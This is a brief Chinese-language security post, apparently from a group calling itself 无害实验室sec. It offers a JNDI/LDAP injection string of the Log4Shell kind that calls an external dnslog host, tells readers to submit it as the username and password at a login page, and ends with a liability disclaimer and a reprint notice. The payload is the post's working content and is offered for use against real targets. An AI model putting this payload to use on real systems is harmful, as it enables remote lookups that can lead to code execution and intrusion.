poc不知真假

在登录口用户名密码都登录打一下就知道了

${jndi:ldap://xxxxx.dnslog.cn/exp}

漏洞风险提示：https://mp.weixin.qq.com/s/wC7mrK1Y4DYz9_yW4fLzbw

最后

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

无害实验室sec拥有对此文章的修改和解释权如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的